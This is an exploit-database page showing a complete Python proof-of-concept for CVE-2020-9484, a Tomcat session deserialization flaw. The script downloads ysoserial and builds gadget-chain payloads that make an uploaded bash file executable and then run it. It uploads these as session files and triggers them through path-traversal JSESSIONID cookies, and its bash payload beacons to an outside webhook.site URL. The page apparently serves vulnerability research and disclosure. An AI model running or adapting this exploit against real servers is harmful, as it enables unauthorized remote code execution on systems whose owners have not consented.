Exploit databaseDownload repository ZIP
GH-453958cf66152604deeab96f376c1679
savsch/poc_cve-2020-9484
Sources for CVE-2020-9484
17 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
savsch/poc_cve-2020-9484Revision 67804d66fd44
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 3,426 bytes#!/usr/bin/env python3
import os
# CONFIGURATION OPTIONS
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
WORKDIR = '/tmp' # working directory for this script
YOSERIAL_URL = 'https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar'
YOSERIAL = f'{WORKDIR}/yoserial.jar' # path to store yoserial and to use it from
PAYLOAD_FILENAME = "payload" # can be anything really
import requests
import subprocess
import time
print('[+]', f'Downloading yoserial jar file into {YOSERIAL}')
response = requests.get(YOSERIAL_URL, stream=True, allow_redirects=True)
total_size = int(response.headers.get('content-length', 0))
with open(YOSERIAL,'wb') as file:
downloaded_size = 0
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)
downloaded_size += len(chunk)
done = int(50 * downloaded_size / total_size)
print(f"\r[{'=' * done}{' ' * (50 - done)}] {downloaded_size}/{total_size} bytes", end='')
print()
print('[+]', 'Generating session payloads')
chmodPayload = subprocess.run(
[
JAVABIN,
"-jar",
YOSERIAL,
YOSERIAL_PAYLOAD_TYPE,
f"chmod 777 {FILE_UPLOAD_BASE_PATH}{PAYLOAD_FILENAME}",
],
stdout=subprocess.PIPE,
text=False,
check=True,
).stdout
executePayload = subprocess.run(
[
JAVABIN,
"-jar",
YOSERIAL,
YOSERIAL_PAYLOAD_TYPE,
f"bash {FILE_UPLOAD_BASE_PATH}{PAYLOAD_FILENAME}",
],
stdout=subprocess.PIPE,
text=False,
check=True,
).stdout
print('[+]', 'Making requests to upload the sessions')
bogus_jsessionid = "1337"*8
requests.post(
UPLOAD_URL,
files={"file": (PAYLOAD_FILENAME,PAYLOAD)},
cookies={"JSESSIONID": bogus_jsessionid},
)
requests.post(
UPLOAD_URL,
files={"file": ("chmodPayload.session",chmodPayload)},
cookies={"JSESSIONID": bogus_jsessionid},
)
requests.post(
UPLOAD_URL,
files={"file": ("executePayload.session",executePayload)},
cookies={"JSESSIONID": bogus_jsessionid},
)
print('[+]', 'Making requests to execute the sessions')
time.sleep(1)
rr = requests.post(
UPLOAD_URL,
files={"file": ('1.txt',b'literally anything')},
cookies={"JSESSIONID": f'../../../../../../../../../../../..{FILE_UPLOAD_BASE_PATH}chmodPayload'}
)
# print(b''.join(rr.iter_content())) # Intended output: an error. If an error is shown but rce isn't successful, then the server doesn't have the
time.sleep(1)
requests.post(
UPLOAD_URL,
files={"file": ('2.txt',b'literally anything')},
cookies={"JSESSIONID": f'../../../../../../../../../../../..{FILE_UPLOAD_BASE_PATH}executePayload'}
)